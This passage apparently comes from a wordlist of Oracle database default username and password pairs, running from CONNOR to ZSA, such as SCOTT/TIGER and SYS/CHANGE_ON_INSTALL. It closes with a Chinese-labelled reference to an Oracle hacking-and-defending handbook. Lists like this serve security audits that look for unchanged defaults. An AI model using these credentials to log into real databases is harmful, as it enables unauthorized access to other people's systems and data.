CONNOR CONNOR
CORY CORY
CRM1 CRM1
CRM2 CRM2
CRP CRP
CRPB733 CRPB733
CRPCTL CRPCTL
CRPDTA CRPDTA
CS CS
CSADMIN CSADMIN
CSAPPR1 CSAPPR1
CSC CSC
CSD CSD
CSDUMMY CSDUMMY
CSE CSE
CSF CSF
CSI CSI
CSL CSL
CSM CSM
CSMIG CSMIG
CSP CSP
CSR CSR
CSS CSS
CTXDEMO CTXDEMO
CTXSYS CTXSYS
CTXSYS CHANGE_ON_INSTALL
CTXTEST CTXTEST
CUA CUA
CUE CUE
CUF CUF
CUG CUG
CUI CUI
CUN CUN
CUP CUP
CUS CUS
CZ CZ
DAVIDMORGAN DAVIDMORGAN
DBSNMP DBSNMP
DCM DCM
DD7333 DD7333
DD7334 DD7334
DD810 DD810
DD811 DD811
DD812 DD812
DD9 DD9
DDB733 DDB733
DDD DDD
DEMO8 DEMO8
DES DES
DES2K DES2K
DEV2000_DEMOS DEV2000_DEMOS
DEVB733 DEVB733
DEVUSER DEVUSER
DGRAY WELCOME
DIP DIP
DISCOVERER5 DISCOVERER5
DKING DKING
DLD DLD
DMADMIN MANAGER
DMATS DMATS
DMS DMS
DMSYS DMSYS
DOM DOM
DPOND DPOND
DSGATEWAY DSGATEWAY
DV7333 DV7333
DV7334 DV7334
DV810 DV810
DV811 DV811
DV812 DV812
DV9 DV9
DVP1 DVP1
EAA EAA
EAM EAM
EC EC
ECX ECX
EDR EDR
EDWEUL_US EDWEUL_US
EDWREP EDWREP
EGC1 EGC1
EGD1 EGD1
EGM1 EGM1
EGO EGO
EGR1 EGR1
END1 END1
ENG ENG
ENI ENI
ENM1 ENM1
ENS1 ENS1
ENTMGR_CUST ENTMGR_CUST
ENTMGR_PRO ENTMGR_PRO
ENTMGR_TRAIN ENTMGR_TRAIN
EOPP_PORTALADM EOPP_PORTALADM
EOPP_PORTALMGR EOPP_PORTALMGR
EOPP_USER EOPP_USER
EUL_US EUL_US
EVM EVM
EXA1 EXA1
EXA2 EXA2
EXA3 EXA3
EXA4 EXA4
EXFSYS EXFSYS
EXS1 EXS1
EXS2 EXS2
EXS3 EXS3
EXS4 EXS4
FA FA
FEM FEM
FIA1 FIA1
FII FII
FLM FLM
FNI1 FNI1
FNI2 FNI2
FPA FPA
FPT FPT
FRM FRM
FTA1 FTA1
FTE FTE
FUN FUN
FV FV
FVP1 FVP1
GALLEN GALLEN
GCA1 GCA1
GCA2 GCA2
GCA3 GCA3
GCA9 GCA9
GCMGR1 GCMGR1
GCMGR2 GCMGR2
GCMGR3 GCMGR3
GCS GCS
GCS1 GCS1
GCS2 GCS2
GCS3 GCS3
GEORGIAWINE GEORGIAWINE
GL GL
GLA1 GLA1
GLA2 GLA2
GLA3 GLA3
GLA4 GLA4
GLS1 GLS1
GLS2 GLS2
GLS3 GLS3
GLS4 GLS4
GM_AWDA GM_AWDA
GM_COPI GM_COPI
GM_DPHD GM_DPHD
GM_MLCT GM_MLCT
GM_PLADMA GM_PLADMA
GM_PLADMH GM_PLADMH
GM_PLCCA GM_PLCCA
GM_PLCCH GM_PLCCH
GM_PLCOMA GM_PLCOMA
GM_PLCOMH GM_PLCOMH
GM_PLCONA GM_PLCONA
GM_PLCONH GM_PLCONH
GM_PLNSCA GM_PLNSCA
GM_PLNSCH GM_PLNSCH
GM_PLSCTA GM_PLSCTA
GM_PLSCTH GM_PLSCTH
GM_PLVET GM_PLVET
GM_SPO GM_SPO
GM_STKH GM_STKH
GMA GMA
GMD GMD
GME GME
GMF GMF
GMI GMI
GML GML
GMP GMP
GMS GMS
GR GR
GUEST GUEST
HCC HCC
HHCFO HHCFO
HR HR
HRI HRI
HXC HXC
HXT HXT
IA IA
IBA IBA
IBC IBC
IBE IBE
IBP IBP
IBU IBU
IBY IBY
ICX ICX
IEB IEB
IEC IEC
IEM IEM
IEO IEO
IES IES
IEU IEU
IEX IEX
IGC IGC
IGF IGF
IGI IGI
IGS IGS
IGW IGW
IMC IMC
IMT IMT
INS1 INS1
INS2 INS2
INTERNET_APPSERVER_REGISTRY INTERNET_APPSERVER_REGISTRY
INV INV
IP IP
IPA IPA
IPD IPD
ISC ISC
ISTEWARD ISTEWARD
ITG ITG
JA JA
JD7333 JD7333
JD7334 JD7334
JD9 JD9
JDE JDE
JDEDBA JDEDBA
JE JE
JG JG
JL JL
JOHNINARI JOHNINARI
JONES STEEL
JTF JTF
JTI JTI
JTM JTM
JTR JTR
JTS JTS
JUNK_PS JUNK_PS
JUSTOSHUM JUSTOSHUM
KELLYJONES KELLYJONES
KEVINDONS KEVINDONS
KPN KPN
LADAMS LADAMS
LBA LBA
LBACSYS LBACSYS
LDQUAL LDQUAL
LHILL LHILL
LNS LNS
LQUINCY LQUINCY
LSA LSA
MDDATA MDDATA
MDSYS MDSYS
ME ME
MFG MFG
MGR1 MGR1
MGR2 MGR2
MGR3 MGR3
MGR4 MGR4
MIKEIKEGAMI MIKEIKEGAMI
MJONES MJONES
MLAKE MLAKE
MM1 MM1
MM2 MM2
MM3 MM3
MM4 MM4
MM5 MM5
MMARTIN MMARTIN
MOBILEADMIN WELCOME
MRP MRP
MSC MSC
MSD MSD
MSO MSO
MSR MSR
MST MST
MWA MWA
NEILKATSU NEILKATSU
OBJ7333 OBJ7333
OBJ7334 OBJ7334
OBJB733 OBJB733
OCA OCA
ODM ODM
ODM_MTR MTRPW
ODS ODS
ODSCOMMON ODSCOMMON
OE OE
OKB OKB
OKC OKC
OKE OKE
OKI OKI
OKL OKL
OKO OKO
OKR OKR
OKS OKS
OKX OKX
OL810 OL810
OL811 OL811
OL812 OL812
OL9 OL9
OLAPSYS MANAGER
ONT ONT
OPI OPI
ORABAM ORABAM
ORABAMSAMPLES ORABAMSAMPLES
ORABPEL ORABPEL
ORAESB ORAESB
ORAOCA_PUBLIC ORAOCA_PUBLIC
ORASAGENT ORASAGENT
ORASSO ORASSO
ORASSO_DS ORASSO_DS
ORASSO_PA ORASSO_PA
ORASSO_PS ORASSO_PS
ORASSO_PUBLIC ORASSO_PUBLIC
ORDPLUGINS ORDPLUGINS
ORDSYS ORDSYS
OSM OSM
OTA OTA
OUTLN OUTLN
OWAPUB OWAPUB
OWF_MGR OWF_MGR
OZF OZF
OZP OZP
OZS OZS
PA PA
PABLO PABLO
PAIGE PAIGE
PAM PAM
PARRISH PARRISH
PARSON PARSON
PAT PAT
PATORILY PATORILY
PATRICKSANCHEZ PATRICKSANCHEZ
PATSY PATSY
PAUL PAUL
PAULA PAULA
PAXTON PAXTON
PCA1 PCA1
PCA2 PCA2
PCA3 PCA3
PCA4 PCA4
PCS1 PCS1
PCS2 PCS2
PCS3 PCS3
PCS4 PCS4
PD7333 PD7333
PD7334 PD7334
PD810 PD810
PD811 PD811
PD812 PD812
PD9 PD9
PDA1 PDA1
PEARL PEARL
PEG PEG
PENNY PENNY
PERCY PERCY
PERRY PERRY
PETE PETE
PEYTON PEYTON
PHIL PHIL
PJI PJI
PJM PJM
PMI PMI
PN PN
PO PO
POA POA
POLLY POLLY
POM POM
PON PON
PORTAL PORTAL
PORTAL_APP PORTAL_APP
PORTAL_DEMO PORTAL_DEMO
PORTAL_PUBLIC PORTAL_PUBLIC
PORTAL30 PORTAL30
PORTAL30_DEMO PORTAL30_DEMO
PORTAL30_PUBLIC PORTAL30_PUBLIC
PORTAL30_SSO PORTAL30_SSO
PORTAL30_SSO_PS PORTAL30_SSO_PS
PORTAL30_SSO_PUBLIC PORTAL30_SSO_PUBLIC
POS POS
PPM1 PPM1
PPM2 PPM2
PPM3 PPM3
PPM4 PPM4
PPM5 PPM5
PRISTB733 PRISTB733
PRISTCTL PRISTCTL
PRISTDTA PRISTDTA
PRODB733 PRODB733
PRODCTL PRODCTL
PRODDTA PRODDTA
PRODUSER PRODUSER
PROJMFG WELCOME
PRP PRP
PS PS
PS810 PS810
PS810CTL PS810CTL
PS810DTA PS810DTA
PS811 PS811
PS811CTL PS811CTL
PS811DTA PS811DTA
PS812 PS812
PS812CTL PS812CTL
PS812DTA PS812DTA
PSA PSA
PSB PSB
PSBASS PSBASS
PSEM PSEM
PSFT PSFT
PSFTDBA PSFTDBA
PSP PSP
PTADMIN PTADMIN
PTCNE PTCNE
PTDMO PTDMO
PTE PTE
PTESP PTESP
PTFRA PTFRA
PTG PTG
PTGER PTGER
PTJPN PTJPN
PTUKE PTUKE
PTUPG PTUPG
PTWEB PTWEB
PTWEBSERVER PTWEBSERVER
PV PV
PY7333 PY7333
PY7334 PY7334
PY810 PY810
PY811 PY811
PY812 PY812
PY9 PY9
QA QA
QOT QOT
QP QP
QRM QRM
QS QS
QS_ADM QS_ADM
QS_CB QS_CB
QS_CBADM QS_CBADM
QS_CS QS_CS
QS_ES QS_ES
QS_OS QS_OS
QS_WS QS_WS
RENE RENE
REPADMIN REPADMIN
REPORTS REPORTS
REPORTS_USER OEM_TEMP
RESTRICTED_US RESTRICTED_US
RG RG
RHX RHX
RLA RLA
RLM RLM
RM1 RM1
RM2 RM2
RM3 RM3
RM4 RM4
RM5 RM5
RMAN RMAN
ROB ROB
RPARKER RPARKER
RWA1 RWA1
SALLYH SALLYH
SAM SAM
SARAHMANDY SARAHMANDY
SCM1 SCM1
SCM2 SCM2
SCM3 SCM3
SCM4 SCM4
SCOTT TIGER
SDAVIS SDAVIS
SECDEMO SECDEMO
SEDWARDS SEDWARDS
SELLCM SELLCM
SELLER SELLER
SELLTREAS SELLTREAS
SERVICES WELCOME
SETUP SETUP
SH SH
SI_INFORMTN_SCHEMA SI_INFORMTN_SCHEMA
SID SID
SKAYE SKAYE
SKYTETSUKA SKYTETSUKA
SLSAA SLSAA
SLSMGR SLSMGR
SLSREP SLSREP
SRABBITT SRABBITT
SRALPHS SRALPHS
SRAY SRAY
SRIVERS SRIVERS
SSA1 SSA1
SSA2 SSA2
SSA3 SSA3
SSC1 SSC1
SSC2 SSC2
SSC3 SSC3
SSOSDK SSOSDK
SSP SSP
SSS1 SSS1
SUPPLIER SUPPLIER
SVM7333 SVM7333
SVM7334 SVM7334
SVM810 SVM810
SVM811 SVM811
SVM812 SVM812
SVM9 SVM9
SVMB733 SVMB733
SVP1 SVP1
SY810 SY810
SY811 SY811
SY812 SY812
SY9 SY9
SYS MANAGER
SYS CHANGE_ON_INSTALL
SYS7333 SYS7333
SYS7334 SYS7334
SYSADMIN SYSADMIN
SYSB733 SYSB733
SYSTEM MANAGER
TDEMARCO TDEMARCO
TDOS_ICSAP TDOS_ICSAP
TESTCTL TESTCTL
TESTDTA TESTDTA
TRA1 TRA1
TRACESVR TRACE
TRBM1 TRBM1
TRCM1 TRCM1
TRDM1 TRDM1
TRRM1 TRRM1
TWILLIAMS TWILLIAMS
UDDISYS UDDISYS
VEA VEA
VEH VEH
VIDEO31 VIDEO31
VIDEO4 VIDEO4
VIDEO5 VIDEO5
VP1 VP1
VP2 VP2
VP3 VP3
VP4 VP4
VP5 VP5
VP6 VP6
WAA1 WAA1
WAA2 WAA2
WCRSYS WCRSYS
WEBDB WEBDB
WEBSYS WELCOME
WENDYCHO WENDYCHO
WH WH
WIP WIP
WIRELESS WELCOME
WIRELESS WIRELESS
WK_TEST WK_TEST
WKPROXY WKPROXY
WKSYS WKSYS
WMS WMS
WMSYS WMSYS
WPS WPS
WSH WSH
WSM WSM
XDB CHANGE_ON_INSTALL
XDO XDO
XDP XDP
XLA XLA
XLE XLE
XNB XNB
XNC XNC
XNI XNI
XNM XNM
XNP XNP
XNS XNS
XTR XTR
YCAMPOS YCAMPOS
YSANCHEZ YSANCHEZ
ZFA ZFA
ZPB ZPB
ZSA ZSA

参考资料

  • The Oracle Hacker’s Handbook: Hacking and Defending Oracle